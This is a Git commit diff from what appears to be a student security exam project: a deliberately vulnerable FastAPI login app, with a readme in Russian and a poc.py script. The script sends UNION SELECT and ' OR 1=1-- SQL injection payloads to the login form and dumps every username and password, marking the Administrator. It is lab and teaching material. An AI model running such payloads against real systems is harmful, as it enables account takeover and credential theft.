Compare commits
3 Commits
30a1c38304
...
f958956395
| Author | SHA1 | Date | |
|---|---|---|---|
| f958956395 | |||
| 85083c9f15 | |||
| ed137b7620 |
27
poc.py
27
poc.py
@@ -9,24 +9,31 @@ args = parser.parse_args()
|
||||
|
||||
BASE_URL = args.base_url
|
||||
|
||||
login_payload = "' UNION SELECT login FROM users--"
|
||||
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
|
||||
form_data = {"login": login_payload, "password": "' OR 1=1--"}
|
||||
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||
|
||||
password_payload = "' UNION SELECT password FROM users--"
|
||||
form_data = {"login": password_payload, "password": "' OR 1=1--"}
|
||||
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||
|
||||
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
|
||||
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
|
||||
|
||||
logins= logins_raw.split("',), ('")
|
||||
passwords = passwords_raw.split("',), ('")
|
||||
|
||||
|
||||
passwords=[]
|
||||
for login in logins:
|
||||
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
|
||||
form_data = {"login": password_payload, "password": "' OR 1=1--"}
|
||||
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
|
||||
passwords.append(password)
|
||||
|
||||
|
||||
if logins and passwords:
|
||||
for i, (login, password) in enumerate(zip(logins, passwords)):
|
||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
|
||||
if login == "Administrator":
|
||||
print(f"{'*' * 60}")
|
||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
|
||||
print(f"{'*' * 60}")
|
||||
else:
|
||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
|
||||
|
||||
else:
|
||||
print("Не удалось извлечь данные.")
|
||||
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
requests
|
||||
41
readme.md
Normal file
41
readme.md
Normal file
@@ -0,0 +1,41 @@
|
||||
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
|
||||
|
||||
# PC-Seq-Exam-WebApp
|
||||
|
||||
## Сборка
|
||||
|
||||
```sh
|
||||
docker build -t kulesh_web-app:v0.0.1a .
|
||||
```
|
||||
|
||||
## Запуск
|
||||
```sh
|
||||
docker compose up -d
|
||||
```
|
||||
## Регистрация через curl
|
||||
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost/register -d "login=Administrator&password=protected_by_sheer_will" -L
|
||||
curl -X POST http://localhost/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
|
||||
```
|
||||
## SQLi
|
||||
в бреду намаслал Proof Of Concept
|
||||
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
|
||||
пользователь очень любит скобочки кавычки и пробелы)
|
||||
|
||||
для запуска ставим requests,
|
||||
```pip install requests```
|
||||
в помошь)
|
||||
```sh
|
||||
python ./poc.py --base-url http://aboba.eu
|
||||
```
|
||||
допустм что 2 пользователя зарегались с посмошью команд выше
|
||||
|
||||
```
|
||||
./poc.py
|
||||
************************************************************
|
||||
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
|
||||
************************************************************
|
||||
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
|
||||
```
|
||||
Reference in New Issue
Block a user